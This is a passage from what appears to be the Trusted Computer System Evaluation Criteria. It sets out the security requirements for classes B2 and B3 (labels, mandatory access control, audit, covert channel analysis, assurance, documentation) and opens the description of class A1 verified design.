- ACCESSIBLE BY SUBJECTS EXTERNAL TO THE TCB shall be maintained
- by the TCB. These labels shall be used as the basis for
- mandatory access control decisions. In order to import non-
- labeled data, the TCB shall request and receive from an
- authorized user the security level of the data, and all such
- actions shall be auditable by the TCB.
-
- 3.2.1.3.1 Label Integrity
-
- Sensitivity labels shall accurately represent security
- levels of the specific subjects or objects with which
- they are associated. When exported by the TCB,
- sensitivity labels shall accurately and unambiguously
- represent the internal labels and shall be associated
- with the information being exported.
-
- 3.2.1.3.2 Exportation of Labeled Information
-
- The TCB shall designate each communication channel and
- I/O device as either single-level or multilevel. Any
- change in this designation shall be done manually and
- shall be auditable by the TCB. The TCB shall maintain
- and be able to audit any change in the current security
- level associated with a single-level communication
- channel or I/O device.
-
- 3.2.1.3.2.1 Exportation to Multilevel Devices
-
- When the TCB exports an object to a multilevel I/O
- device, the sensitivity label associated with that
- object shall also be exported and shall reside on
- the same physical medium as the exported
- information and shall be in the same form (i.e.,
- machine-readable or human-readable form). When
- the TCB exports or imports an object over a
- multilevel communication channel, the protocol
- used on that channel shall provide for the
- unambiguous pairing between the sensitivity labels
- and the associated information that is sent or
- received.
-
- 3.2.1.3.2.2 Exportation to Single-Level Devices
-
- Single-level I/O devices and single-level
- communication channels are not required to
- maintain the sensitivity labels of the
- information they process. However, the TCB shall
- include a mechanism by which the TCB and an
- authorized user reliably communicate to designate
- the single security level of information imported
- or exported via single-level communication
- channels or I/O devices.
-
- 3.2.1.3.2.3 Labeling Human-Readable Output
-
- The ADP system administrator shall be able to
- specify the printable label names associated with
- exported sensitivity labels. The TCB shall mark
- the beginning and end of all human-readable, paged,
- hardcopy output (e.g., line printer output) with
- human-readable sensitivity labels that properly*
- represent the sensitivity of the output. The TCB
- shall, by default, mark the top and bottom of each
- page of human-readable, paged, hardcopy output
- (e.g., line printer output) with human-readable
- sensitivity labels that properly* represent the
- overall sensitivity of the output or that
- properly* represent the sensitivity of the
- information on the page. The TCB shall, by
- default and in an appropriate manner, mark other
- forms of human-readable output (e.g., maps,
- graphics) with human-readable sensitivity labels
- that properly* represent the sensitivity of the
- output. Any override of these marking defaults
- shall be auditable by the TCB.
- _____________________________________________________________
- * The hierarchical classification component in human-readable
- sensitivity labels shall be equal to the greatest
- hierarchical classification of any of the information in the
- output that the labels refer to; the non-hierarchical
- category component shall include all of the non-hierarchical
- categories of the information in the output the labels refer
- to, but no other non-hierarchical categories.
- _____________________________________________________________
-
-
- 3.2.1.3.3 Subject Sensitivity Labels
-
- THE TCB SHALL IMMEDIATELY NOTIFY A TERMINAL USER OF EACH
- CHANGE IN THE SECURITY LEVEL ASSOCIATED WITH THAT USER
- DURING AN INTERACTIVE SESSION. A TERMINAL USER SHALL BE
- ABLE TO QUERY THE TCB AS DESIRED FOR A DISPLAY OF THE
- SUBJECT'S COMPLETE SENSITIVITY LABEL.
-
- 3.2.1.3.4 Device Labels
-
- THE TCB SHALL SUPPORT THE ASSIGNMENT OF MINIMUM AND
- MAXIMUM SECURITY LEVELS TO ALL ATTACHED PHYSICAL DEVICES.
- THESE SECURITY LEVELS SHALL BE USED BY THE TCB TO ENFORCE
- CONSTRAINTS IMPOSED BY THE PHYSICAL ENVIRONMENTS IN WHICH
- THE DEVICES ARE LOCATED.
-
- 3.2.1.4 Mandatory Access Control
-
- The TCB shall enforce a mandatory access control policy over
- all RESOURCES (I.E., SUBJECTS, STORAGE OBJECTS, AND I/O DEVICES)
- THAT ARE DIRECTLY OR INDIRECTLY ACCESSIBLE BY SUBJECTS EXTERNAL
- TO THE TCB. These subjects and objects shall be assigned
- sensitivity labels that are a combination of hierarchical
- classification levels and non-hierarchical categories, and the
- labels shall be used as the basis for mandatory access control
- decisions. The TCB shall be able to support two or more such
- security levels. (See the Mandatory Access Control guidelines.)
- The following requirements shall hold for all accesses between
- ALL SUBJECTS EXTERNAL TO THE TCB AND ALL OBJECTS DIRECTLY OR
- INDIRECTLY ACCESSIBLE BY THESE SUBJECTS: A subject can read an
- object only if the hierarchical classification in the subject's
- security level is greater than or equal to the hierarchical
- classification in the object's security level and the non-
- hierarchical categories in the subject's security level include
- all the non-hierarchical categories in the object's security
- level. A subject can write an object only if the hierarchical
- classification in the subject's security level is less than or
- equal to the hierarchical classification in the object's
- security level and all the non-hierarchical categories in the
- subject's security level are included in the non-hierarchical
- categories in the object's security level.
-
- 3.2.2 ACCOUNTABILITY
-
- 3.2.2.1 Identification and Authentication
-
- The TCB shall require users to identify themselves to it before
- beginning to perform any other actions that the TCB is expected
- to mediate. Furthermore, the TCB shall maintain authentication
- data that includes information for verifying the identity of
- individual users (e.g., passwords) as well as information for
- determining the clearance and authorizations of individual
- users. This data shall be used by the TCB to authenticate the
- user's identity and to determine the security level and
- authorizations of subjects that may be created to act on behalf
- of the individual user. The TCB shall protect authentication
- data so that it cannot be accessed by any unauthorized user.
- The TCB shall be able to enforce individual accountability by
- providing the capability to uniquely identify each individual
- ADP system user. The TCB shall also provide the capability of
- associating this identity with all auditable actions taken by
- that individual.
-
- 3.2.2.1.1 Trusted Path
-
- THE TCB SHALL SUPPORT A TRUSTED COMMUNICATION PATH
- BETWEEN ITSELF AND USER FOR INITIAL LOGIN AND
- AUTHENTICATION. COMMUNICATIONS VIA THIS PATH SHALL BE
- INITIATED EXCLUSIVELY BY A USER.
-
- 3.2.2.2 Audit
-
- The TCB shall be able to create, maintain, and protect from
- modification or unauthorized access or destruction an audit
- trail of accesses to the objects it protects. The audit data
- shall be protected by the TCB so that read access to it is
- limited to those who are authorized for audit data. The TCB
- shall be able to record the following types of events: use of
- identification and authentication mechanisms, introduction of
- objects into a user's address space (e.g., file open, program
- initiation), deletion of objects, and actions taken by computer
- operators and system administrators and/or system security
- officers. The TCB shall also be able to audit any override of
- human-readable output markings. For each recorded event, the
- audit record shall identify: date and time of the event, user,
- type of event, and success or failure of the event. For
- identification/authentication events the origin of request
- (e.g., terminal ID) shall be included in the audit record. For
- events that introduce an object into a user's address space and
- for object deletion events the audit record shall include the
- name of the object and the object's security level. The ADP
- system administrator shall be able to selectively audit the
- actions of any one or more users based on individual identity
- and/or object security level. THE TCB SHALL BE ABLE TO AUDIT
- THE IDENTIFIED EVENTS THAT MAY BE USED IN THE EXPLOITATION OF
- COVERT STORAGE CHANNELS.
-
- 3.2.3 ASSURANCE
-
- 3.2.3.1 Operational Assurance
-
- 3.2.3.1.1 System Architecture
-
- THE TCB SHALL MAINTAIN A DOMAIN FOR ITS OWN EXECUTION
- THAT PROTECTS IT FROM EXTERNAL INTERFERENCE OR TAMPERING
- (E.G., BY MODIFICATION OF ITS CODE OR DATA STRUCTURES).
- THE TCB SHALL MAINTAIN PROCESS ISOLATION THROUGH THE
- PROVISION OF DISTINCT ADDRESS SPACES UNDER ITS CONTROL.
- THE TCB SHALL BE INTERNALLY STRUCTURED INTO WELL-DEFINED
- LARGELY INDEPENDENT MODULES. IT SHALL MAKE EFFECTIVE USE
- OF AVAILABLE HARDWARE TO SEPARATE THOSE ELEMENTS THAT ARE
- PROTECTION-CRITICAL FROM THOSE THAT ARE NOT. THE TCB
- MODULES SHALL BE DESIGNED SUCH THAT THE PRINCIPLE OF LEAST
- PRIVILEGE IS ENFORCED. FEATURES IN HARDWARE, SUCH AS
- SEGMENTATION, SHALL BE USED TO SUPPORT LOGICALLY DISTINCT
- STORAGE OBJECTS WITH SEPARATE ATTRIBUTES (NAMELY:
- READABLE, WRITEABLE). THE USER INTERFACE TO THE TCB
- SHALL BE COMPLETELY DEFINED AND ALL ELEMENTS OF THE TCB
- IDENTIFIED.
-
- 3.2.3.1.2 System Integrity
-
- Hardware and/or software features shall be provided that
- can be used to periodically validate the correct
- operation of the on-site hardware and firmware elements
- of the TCB.
-
- 3.2.3.1.3 Covert Channel Analysis
-
- THE SYSTEM DEVELOPER SHALL CONDUCT A THOROUGH SEARCH FOR
- COVERT STORAGE CHANNELS AND MAKE A DETERMINATION (EITHER
- BY ACTUAL MEASUREMENT OR BY ENGINEERING ESTIMATION) OF
- THE MAXIMUM BANDWIDTH OF EACH IDENTIFIED CHANNEL. (SEE
- THE COVERT CHANNELS GUIDELINE SECTION.)
-
- 3.2.3.1.4 Trusted Facility Management
-
- THE TCB SHALL SUPPORT SEPARATE OPERATOR AND ADMINISTRATOR
- FUNCTIONS.
-
- 3.2.3.2 Life-Cycle Assurance
-
- 3.2.3.2.1 Security Testing
-
- The security mechanisms of the ADP system shall be tested
- and found to work as claimed in the system documentation.
- A team of individuals who thoroughly understand the
- specific implementation of the TCB shall subject its
- design documentation, source code, and object code to
- thorough analysis and testing. Their objectives shall be:
- to uncover all design and implementation flaws that would
- permit a subject external to the TCB to read, change, or
- delete data normally denied under the mandatory or
- discretionary security policy enforced by the TCB; as well
- as to assure that no subject (without authorization to do
- so) is able to cause the TCB to enter a state such that it
- is unable to respond to communications initiated by other
- users. THE TCB SHALL BE FOUND RELATIVELY RESISTANT TO
- PENETRATION. All discovered flaws shall be CORRECTED and
- the TCB retested to demonstrate that they have been
- eliminated and that new flaws have not been introduced.
- TESTING SHALL DEMONSTRATE THAT THE TCB IMPLEMENTATION IS
- CONSISTENT WITH THE DESCRIPTIVE TOP-LEVEL SPECIFICATION.
- (See the Security Testing Guidelines.)
-
- 3.2.3.2.2 Design Specification and Verification
-
- A FORMAL model of the security policy supported by the
- TCB shall be maintained that is PROVEN consistent with
- its axioms. A DESCRIPTIVE TOP-LEVEL SPECIFICATION (DTLS)
- OF THE TCB SHALL BE MAINTAINED THAT COMPLETELY AND
- ACCURATELY DESCRIBES THE TCB IN TERMS OF EXCEPTIONS, ERROR
- MESSAGES, AND EFFECTS. IT SHALL BE SHOWN TO BE AN
- ACCURATE DESCRIPTION OF THE TCB INTERFACE.
-
- 3.2.3.2.3 Configuration Management
-
- DURING DEVELOPMENT AND MAINTENANCE OF THE TCB, A
- CONFIGURATION MANAGEMENT SYSTEM SHALL BE IN PLACE THAT
- MAINTAINS CONTROL OF CHANGES TO THE DESCRIPTIVE TOP-LEVEL
- SPECIFICATION, OTHER DESIGN DATA, IMPLEMENTATION
- DOCUMENTATION, SOURCE CODE, THE RUNNING VERSION OF THE
- OBJECT CODE, AND TEST FIXTURES AND DOCUMENTATION. THE
- CONFIGURATION MANAGEMENT SYSTEM SHALL ASSURE A CONSISTENT
- MAPPING AMONG ALL DOCUMENTATION AND CODE ASSOCIATED WITH
- THE CURRENT VERSION OF THE TCB. TOOLS SHALL BE PROVIDED
- FOR GENERATION OF A NEW VERSION OF THE TCB FROM SOURCE
- CODE. ALSO AVAILABLE SHALL BE TOOLS FOR COMPARING A
- NEWLY GENERATED VERSION WITH THE PREVIOUS TCB VERSION IN
- ORDER TO ASCERTAIN THAT ONLY THE INTENDED CHANGES HAVE
- BEEN MADE IN THE CODE THAT WILL ACTUALLY BE USED AS THE
- NEW VERSION OF THE TCB.
-
- 3.2.4 DOCUMENTATION
-
- 3.2.4.1 Security Features User's Guide
-
- A single summary, chapter, or manual in user documentation
- shall describe the protection mechanisms provided by the TCB,
- guidelines on their use, and how they interact with one another.
-
- 3.2.4.2 Trusted Facility Manual
-
- A manual addressed to the ADP system administrator shall
- present cautions about functions and privileges that should be
- controlled when running a secure facility. The procedures for
- examining and maintaining the audit files as well as the
- detailed audit record structure for each type of audit event
- shall be given. The manual shall describe the operator and
- administrator functions related to security, to include
- changing the security characteristics of a user. It shall
- provide guidelines on the consistent and effective use of the
- protection features of the system, how they interact, how to
- securely generate a new TCB, and facility procedures, warnings,
- and privileges that need to be controlled in order to operate
- the facility in a secure manner. THE TCB MODULES THAT CONTAIN
- THE REFERENCE VALIDATION MECHANISM SHALL BE IDENTIFIED. THE
- PROCEDURES FOR SECURE GENERATION OF A NEW TCB FROM SOURCE AFTER
- MODIFICATION OF ANY MODULES IN THE TCB SHALL BE DESCRIBED.
-
- 3.2.4.3 Test Documentation
-
- The system developer shall provide to the evaluators a document
- that describes the test plan and results of the security
- mechanisms' functional testing. IT SHALL INCLUDE RESULTS OF
- TESTING THE EFFECTIVENESS OF THE METHODS USED TO REDUCE COVERT
- CHANNEL BANDWIDTHS.
-
- 3.2.4.4 Design Documentation
-
- Documentation shall be available that provides a description of
- the manufacturer's philosophy of protection and an explanation
- of how this philosophy is translated into the TCB. THE
- interfaces between THE TCB modules shall be described. A
- FORMAL description of the security policy model enforced by the
- TCB shall be available and PROVEN that it is sufficient to
- enforce the security policy. The specific TCB protection
- mechanisms shall be identified and an explanation given to show
- that they satisfy the model. THE DESCRIPTIVE TOP-LEVEL
- SPECIFICATION (DTLS) SHALL BE SHOWN TO BE AN ACCURATE
- DESCRIPTION OF THE TCB INTERFACE. DOCUMENTATION SHALL DESCRIBE
- HOW THE TCB IMPLEMENTS THE REFERENCE MONITOR CONCEPT AND GIVE
- AN EXPLANATION WHY IT IS TAMPERPROOF, CANNOT BE BYPASSED, AND
- IS CORRECTLY IMPLEMENTED. DOCUMENTATION SHALL DESCRIBE HOW THE
- TCB IS STRUCTURED TO FACILITATE TESTING AND TO ENFORCE LEAST
- PRIVILEGE. THIS DOCUMENTATION SHALL ALSO PRESENT THE RESULTS
- OF THE COVERT CHANNEL ANALYSIS AND THE TRADEOFFS INVOLVED IN
- RESTRICTING THE CHANNELS. ALL AUDITABLE EVENTS THAT MAY BE
- USED IN THE EXPLOITATION OF KNOWN COVERT STORAGE CHANNELS SHALL
- BE IDENTIFIED. THE BANDWIDTHS OF KNOWN COVERT STORAGE CHANNELS,
- THE USE OF WHICH IS NOT DETECTABLE BY THE AUDITING MECHANISMS,
- SHALL BE PROVIDED. (SEE THE COVERT CHANNEL GUIDELINE SECTION.)
-
-
- 3.3 CLASS (B3): SECURITY DOMAINS
-
- The class (B3) TCB must satisfy the reference monitor requirements that it
- mediate all accesses of subjects to objects, be tamperproof, and be small
- enough to be subjected to analysis and tests. To this end, the TCB is
- structured to exclude code not essential to security policy enforcement, with
- significant system engineering during TCB design and implementation directed
- toward minimizing its complexity. A security administrator is supported,
- audit mechanisms are expanded to signal security- relevant events, and system
- recovery procedures are required. The system is highly resistant to
- penetration. The following are minimal requirements for systems assigned a
- class (B3) rating:
-
- 3.3.1 SECURITY POLICY
-
- 3.3.1.1 Discretionary Access Control
-
- The TCB shall define and control access between named users and
- named objects (e.g., files and programs) in the ADP system.
- The enforcement mechanism (E.G., ACCESS CONTROL LISTS) shall
- allow users to specify and control sharing of those OBJECTS.
- The discretionary access control mechanism shall, either by
- explicit user action or by default, provide that objects are
- protected from unauthorized access. These access controls shall
- be capable of SPECIFYING, FOR EACH NAMED OBJECT, A LIST OF NAMED
- INDIVIDUALS AND A LIST OF GROUPS OF NAMED INDIVIDUALS WITH THEIR
- RESPECTIVE MODES OF ACCESS TO THAT OBJECT. FURTHERMORE, FOR
- EACH SUCH NAMED OBJECT, IT SHALL BE POSSIBLE TO SPECIFY A LIST
- OF NAMED INDIVIDUALS AND A LIST OF GROUPS OF NAMED INDIVIDUALS
- FOR WHICH NO ACCESS TO THE OBJECT IS TO BE GIVEN. Access
- permission to an object by users not already possessing access
- permission shall only be assigned by authorized users.
-
- 3.3.1.2 Object Reuse
-
- When a storage object is initially assigned, allocated, or
- reallocated to a subject from the TCB's pool of unused storage
- objects, the TCB shall assure that the object contains no data
- for which the subject is not authorized.
-
- 3.3.1.3 Labels
-
- Sensitivity labels associated with each ADP system resource
- (e.g., subject, storage object) that is directly or indirectly
- accessible by subjects external to the TCB shall be maintained
- by the TCB. These labels shall be used as the basis for
- mandatory access control decisions. In order to import non-
- labeled data, the TCB shall request and receive from an
- authorized user the security level of the data, and all such
- actions shall be auditable by the TCB.
-
- 3.3.1.3.1 Label Integrity
-
- Sensitivity labels shall accurately represent security
- levels of the specific subjects or objects with which
- they are associated. When exported by the TCB,
- sensitivity labels shall accurately and unambiguously
- represent the internal labels and shall be associated
- with the information being exported.
-
- 3.3.1.3.2 Exportation of Labeled Information
-
- The TCB shall designate each communication channel and
- I/O device as either single-level or multilevel. Any
- change in this designation shall be done manually and
- shall be auditable by the TCB. The TCB shall maintain
- and be able to audit any change in the current security
- level associated with a single-level communication
- channel or I/O device.
-
- 3.3.1.3.2.1 Exportation to Multilevel Devices
-
- When the TCB exports an object to a multilevel I/O
- device, the sensitivity label associated with that
- object shall also be exported and shall reside on
- the same physical medium as the exported
- information and shall be in the same form (i.e.,
- machine-readable or human-readable form). When
- the TCB exports or imports an object over a
- multilevel communication channel, the protocol
- used on that channel shall provide for the
- unambiguous pairing between the sensitivity labels
- and the associated information that is sent or
- received.
-
- 3.3.1.3.2.2 Exportation to Single-Level Devices
-
- Single-level I/O devices and single-level
- communication channels are not required to
- maintain the sensitivity labels of the information
- they process. However, the TCB shall include a
- mechanism by which the TCB and an authorized user
- reliably communicate to designate the single
- security level of information imported or exported
- via single-level communication channels or I/O
- devices.
-
- 3.3.1.3.2.3 Labeling Human-Readable Output
-
- The ADP system administrator shall be able to
- specify the printable label names associated with
- exported sensitivity labels. The TCB shall mark
- the beginning and end of all human-readable, paged,
- hardcopy output (e.g., line printer output) with
- human-readable sensitivity labels that properly*
- represent the sensitivity of the output. The TCB
- shall, by default, mark the top and bottom of each
- page of human-readable, paged, hardcopy output
- (e.g., line printer output) with human-readable
- sensitivity labels that properly* represent the
- overall sensitivity of the output or that
- properly* represent the sensitivity of the
- information on the page. The TCB shall, by
- default and in an appropriate manner, mark other
- forms of human-readable output (e.g., maps,
- graphics) with human-readable sensitivity labels
- that properly* represent the sensitivity of the
- output. Any override of these marking defaults
- shall be auditable by the TCB.
-
- _____________________________________________________________
- * The hierarchical classification component in human-readable
- sensitivity labels shall be equal to the greatest
- hierarchical classification of any of the information in the
- output that the labels refer to; the non-hierarchical
- category component shall include all of the non-hierarchical
- categories of the information in the output the labels refer
- to, but no other non-hierarchical categories.
- _____________________________________________________________
-
-
- 3.3.1.3.3 Subject Sensitivity Labels
-
- The TCB shall immediately notify a terminal user of each
- change in the security level associated with that user
- during an interactive session. A terminal user shall be
- able to query the TCB as desired for a display of the
- subject's complete sensitivity label.
-
- 3.3.1.3.4 Device Labels
-
- The TCB shall support the assignment of minimum and
- maximum security levels to all attached physical devices.
- These security levels shall be used by the TCB to enforce
- constraints imposed by the physical environments in which
- the devices are located.
-
- 3.3.1.4 Mandatory Access Control
-
- The TCB shall enforce a mandatory access control policy over
- all resources (i.e., subjects, storage objects, and I/O
- devices) that are directly or indirectly accessible by subjects
- external to the TCB. These subjects and objects shall be
- assigned sensitivity labels that are a combination of
- hierarchical classification levels and non-hierarchical
- categories, and the labels shall be used as the basis for
- mandatory access control decisions. The TCB shall be able to
- support two or more such security levels. (See the Mandatory
- Access Control guidelines.) The following requirements shall
- hold for all accesses between all subjects external to the TCB
- and all objects directly or indirectly accessible by these
- subjects: A subject can read an object only if the hierarchical
- classification in the subject's security level is greater than
- or equal to the hierarchical classification in the object's
- security level and the non-hierarchical categories in the
- subject's security level include all the non-hierarchical
- categories in the object's security level. A subject can write
- an object only if the hierarchical classification in the
- subject's security level is less than or equal to the
- hierarchical classification in the object's security level and
- all the non-hierarchical categories in the subject's security
- level are included in the non- hierarchical categories in the
- object's security level.
-
- 3.3.2 ACCOUNTABILITY
-
- 3.3.2.1 Identification and Authentication
-
- The TCB shall require users to identify themselves to it before
- beginning to perform any other actions that the TCB is expected
- to mediate. Furthermore, the TCB shall maintain authentication
- data that includes information for verifying the identity of
- individual users (e.g., passwords) as well as information for
- determining the clearance and authorizations of individual
- users. This data shall be used by the TCB to authenticate the
- user's identity and to determine the security level and
- authorizations of subjects that may be created to act on behalf
- of the individual user. The TCB shall protect authentication
- data so that it cannot be accessed by any unauthorized user.
- The TCB shall be able to enforce individual accountability by
- providing the capability to uniquely identify each individual
- ADP system user. The TCB shall also provide the capability of
- associating this identity with all auditable actions taken by
- that individual.
-
- 3.3.2.1.1 Trusted Path
-
- The TCB shall support a trusted communication path
- between itself and USERS for USE WHEN A POSITIVE TCB-TO-
- USER CONNECTION IS REQUIRED (E.G., LOGIN, CHANGE SUBJECT
- SECURITY LEVEL). Communications via this TRUSTED path
- shall be ACTIVATED exclusively by a user OR THE TCB AND
- SHALL BE LOGICALLY ISOLATED AND UNMISTAKABLY
- DISTINGUISHABLE FROM OTHER PATHS.
-
- 3.3.2.2 Audit
-
- The TCB shall be able to create, maintain, and protect from
- modification or unauthorized access or destruction an audit
- trail of accesses to the objects it protects. The audit data
- shall be protected by the TCB so that read access to it is
- limited to those who are authorized for audit data. The TCB
- shall be able to record the following types of events: use of
- identification and authentication mechanisms, introduction of
- objects into a user's address space (e.g., file open, program
- initiation), deletion of objects, and actions taken by computer
- operators and system administrators and/or system security
- officers. The TCB shall also be able to audit any override of
- human-readable output markings. For each recorded event, the
- audit record shall identify: date and time of the event, user,
- type of event, and success or failure of the event. For
- identification/authentication events the origin of request
- (e.g., terminal ID) shall be included in the audit record.
- For events that introduce an object into a user's address
- space and for object deletion events the audit record shall
- include the name of the object and the object's security level.
- The ADP system administrator shall be able to selectively audit
- the actions of any one or more users based on individual
- identity and/or object security level. The TCB shall be able to
- audit the identified events that may be used in the exploitation
- of covert storage channels. THE TCB SHALL CONTAIN A MECHANISM
- THAT IS ABLE TO MONITOR THE OCCURRENCE OR ACCUMULATION OF
- SECURITY AUDITABLE EVENTS THAT MAY INDICATE AN IMMINENT
- VIOLATION OF SECURITY POLICY. THIS MECHANISM SHALL BE ABLE TO
- IMMEDIATELY NOTIFY THE SECURITY ADMINISTRATOR WHEN THRESHOLDS
- ARE EXCEEDED.
-
- 3.3.3 ASSURANCE
-
- 3.3.3.1 Operational Assurance
-
- 3.3.3.1.1 System Architecture
-
- The TCB shall maintain a domain for its own execution
- that protects it from external interference or tampering
- (e.g., by modification of its code or data structures).
- The TCB shall maintain process isolation through the
- provision of distinct address spaces under its control.
- The TCB shall be internally structured into well-defined
- largely independent modules. It shall make effective use
- of available hardware to separate those elements that are
- protection-critical from those that are not. The TCB
- modules shall be designed such that the principle of
- least privilege is enforced. Features in hardware, such
- as segmentation, shall be used to support logically
- distinct storage objects with separate attributes (namely:
- readable, writeable). The user interface to the TCB shall
- be completely defined and all elements of the TCB
- identified. THE TCB SHALL BE DESIGNED AND STRUCTURED TO
- USE A COMPLETE, CONCEPTUALLY SIMPLE PROTECTION MECHANISM
- WITH PRECISELY DEFINED SEMANTICS. THIS MECHANISM SHALL
- PLAY A CENTRAL ROLE IN ENFORCING THE INTERNAL STRUCTURING
- OF THE TCB AND THE SYSTEM. THE TCB SHALL INCORPORATE
- SIGNIFICANT USE OF LAYERING, ABSTRACTION AND DATA HIDING.
- SIGNIFICANT SYSTEM ENGINEERING SHALL BE DIRECTED TOWARD
- MINIMIZING THE COMPLEXITY OF THE TCB AND EXCLUDING FROM
- THE TCB MODULES THAT ARE NOT PROTECTION-CRITICAL.
-
- 3.3.3.1.2 System Integrity
-
- Hardware and/or software features shall be provided that
- can be used to periodically validate the correct
- operation of the on-site hardware and firmware elements
- of the TCB.
-
- 3.3.3.1.3 Covert Channel Analysis
-
- The system developer shall conduct a thorough search for
- COVERT CHANNELS and make a determination (either by
- actual measurement or by engineering estimation) of the
- maximum bandwidth of each identified channel. (See the
- Covert Channels Guideline section.)
-
- 3.3.3.1.4 Trusted Facility Management
-
- The TCB shall support separate operator and administrator
- functions. THE FUNCTIONS PERFORMED IN THE ROLE OF A
- SECURITY ADMINISTRATOR SHALL BE IDENTIFIED. THE ADP
- SYSTEM ADMINISTRATIVE PERSONNEL SHALL ONLY BE ABLE TO
- PERFORM SECURITY ADMINISTRATOR FUNCTIONS AFTER TAKING A
- DISTINCT AUDITABLE ACTION TO ASSUME THE SECURITY
- ADMINISTRATOR ROLE ON THE ADP SYSTEM. NON-SECURITY
- FUNCTIONS THAT CAN BE PERFORMED IN THE SECURITY
- ADMINISTRATION ROLE SHALL BE LIMITED STRICTLY TO THOSE
- ESSENTIAL TO PERFORMING THE SECURITY ROLE EFFECTIVELY.
-
- 3.3.3.1.5 Trusted Recovery
-
- PROCEDURES AND/OR MECHANISMS SHALL BE PROVIDED TO ASSURE
- THAT, AFTER AN ADP SYSTEM FAILURE OR OTHER DISCONTINUITY,
- RECOVERY WITHOUT A PROTECTION COMPROMISE IS OBTAINED.
-
- 3.3.3.2 Life-Cycle Assurance
-
- 3.3.3.2.1 Security Testing
-
- The security mechanisms of the ADP system shall be tested
- and found to work as claimed in the system documentation.
- A team of individuals who thoroughly understand the
- specific implementation of the TCB shall subject its
- design documentation, source code, and object code to
- thorough analysis and testing. Their objectives shall
- be: to uncover all design and implementation flaws that
- would permit a subject external to the TCB to read,
- change, or delete data normally denied under the
- mandatory or discretionary security policy enforced by
- the TCB; as well as to assure that no subject (without
- authorization to do so) is able to cause the TCB to enter
- a state such that it is unable to respond to
- communications initiated by other users. The TCB shall
- be FOUND RESISTANT TO penetration. All discovered flaws
- shall be corrected and the TCB retested to demonstrate
- that they have been eliminated and that new flaws have
- not been introduced. Testing shall demonstrate that the
- TCB implementation is consistent with the descriptive
- top-level specification. (See the Security Testing
- Guidelines.) NO DESIGN FLAWS AND NO MORE THAN A FEW
- CORRECTABLE IMPLEMENTATION FLAWS MAY BE FOUND DURING
- TESTING AND THERE SHALL BE REASONABLE CONFIDENCE THAT
- FEW REMAIN.
-
- 3.3.3.2.2 Design Specification and Verification
-
- A formal model of the security policy supported by the
- TCB shall be maintained that is proven consistent with
- its axioms. A descriptive top-level specification (DTLS)
- of the TCB shall be maintained that completely and
- accurately describes the TCB in terms of exceptions, error
- messages, and effects. It shall be shown to be an
- accurate description of the TCB interface. A CONVINCING
- ARGUMENT SHALL BE GIVEN THAT THE DTLS IS CONSISTENT WITH
- THE MODEL.
-
- 3.3.3.2.3 Configuration Management
-
- During development and maintenance of the TCB, a
- configuration management system shall be in place that
- maintains control of changes to the descriptive top-level
- specification, other design data, implementation
- documentation, source code, the running version of the
- object code, and test fixtures and documentation. The
- configuration management system shall assure a consistent
- mapping among all documentation and code associated with
- the current version of the TCB. Tools shall be provided
- for generation of a new version of the TCB from source
- code. Also available shall be tools for comparing a
- newly generated version with the previous TCB version in
- order to ascertain that only the intended changes have
- been made in the code that will actually be used as the
- new version of the TCB.
-
- 3.3.4 DOCUMENTATION
-
- 3.3.4.1 Security Features User's Guide
-
- A single summary, chapter, or manual in user documentation
- shall describe the protection mechanisms provided by the TCB,
- guidelines on their use, and how they interact with one another.
-
- 3.3.4.2 Trusted Facility Manual
-
- A manual addressed to the ADP system administrator shall
- present cautions about functions and privileges that should be
- controlled when running a secure facility. The procedures for
- examining and maintaining the audit files as well as the
- detailed audit record structure for each type of audit event
- shall be given. The manual shall describe the operator and
- administrator functions related to security, to include
- changing the security characteristics of a user. It shall
- provide guidelines on the consistent and effective use of the
- protection features of the system, how they interact, how to
- securely generate a new TCB, and facility procedures, warnings,
- and privileges that need to be controlled in order to operate
- the facility in a secure manner. The TCB modules that contain
- the reference validation mechanism shall be identified. The
- procedures for secure generation of a new TCB from source after
- modification of any modules in the TCB shall be described. IT
- SHALL INCLUDE THE PROCEDURES TO ENSURE THAT THE SYSTEM IS
- INITIALLY STARTED IN A SECURE MANNER. PROCEDURES SHALL ALSO BE
- INCLUDED TO RESUME SECURE SYSTEM OPERATION AFTER ANY LAPSE IN
- SYSTEM OPERATION.
-
- 3.3.4.3 Test Documentation
-
- The system developer shall provide to the evaluators a document
- that describes the test plan and results of the security
- mechanisms' functional testing. It shall include results of
- testing the effectiveness of the methods used to reduce covert
- channel bandwidths.
-
- 3.3.4.4 Design Documentation
-
- Documentation shall be available that provides a description of
- the manufacturer's philosophy of protection and an explanation
- of how this philosophy is translated into the TCB. The
- interfaces between the TCB modules shall be described. A
- formal description of the security policy model enforced by the
- TCB shall be available and proven that it is sufficient to
- enforce the security policy. The specific TCB protection
- mechanisms shall be identified and an explanation given to show
- that they satisfy the model. The descriptive top-level
- specification (DTLS) shall be shown to be an accurate
- description of the TCB interface. Documentation shall describe
- how the TCB implements the reference monitor concept and give
- an explanation why it is tamperproof, cannot be bypassed, and
- is correctly implemented. THE TCB IMPLEMENTATION (I.E., IN
- HARDWARE, FIRMWARE, AND SOFTWARE) SHALL BE INFORMALLY SHOWN TO
- BE CONSISTENT WITH THE DTLS. THE ELEMENTS OF THE DTLS SHALL BE
- SHOWN, USING INFORMAL TECHNIQUES, TO CORRESPOND TO THE ELEMENTS
- OF THE TCB. Documentation shall describe how the TCB is
- structured to facilitate testing and to enforce least privilege.
- This documentation shall also present the results of the covert
- channel analysis and the tradeoffs involved in restricting the
- channels. All auditable events that may be used in the
- exploitation of known covert storage channels shall be
- identified. The bandwidths of known covert storage channels,
- the use of which is not detectable by the auditing mechanisms,
- shall be provided. (See the Covert Channel Guideline section.)
-
-
- 4.0 DIVISION A: VERIFIED PROTECTION
-
- This division is characterized by the use of formal security verification
- methods to assure that the mandatory and discretionary security controls
- employed in the system can effectively protect classified or other sensitive
- information stored or processed by the system. Extensive documentation is
- required to demonstrate that the TCB meets the security requirements in all
- aspects of design, development and implementation.
-
-
- 4.1 CLASS (A1): VERIFIED DESIGN
-
- Systems in class (A1) are functionally equivalent to those in class (B3) in
- that no additional architectural features or policy requirements are added.
- The distinguishing feature of systems in this class is the analysis derived
- from formal design specification and verification techniques and the resulting
- high degree of assurance that the TCB is correctly implemented. This
- assurance is developmental in nature, starting with a formal model of the
- security policy and a formal top-level specification (FTLS) of the design.
- Independent of the particular specification language or verification system
- used, there are five important criteria for class (A1) design verification:
-
- * A formal model of the security policy must be clearly
- identified and documented, including a mathematical proof
- that the model is consistent with its axioms and is
- sufficient to support the security policy.
-
- * An FTLS must be produced that includes abstract definitions
- of the functions the TCB performs and of the hardware and/or
- firmware mechanisms that are used to support separate
- execution domains.
-
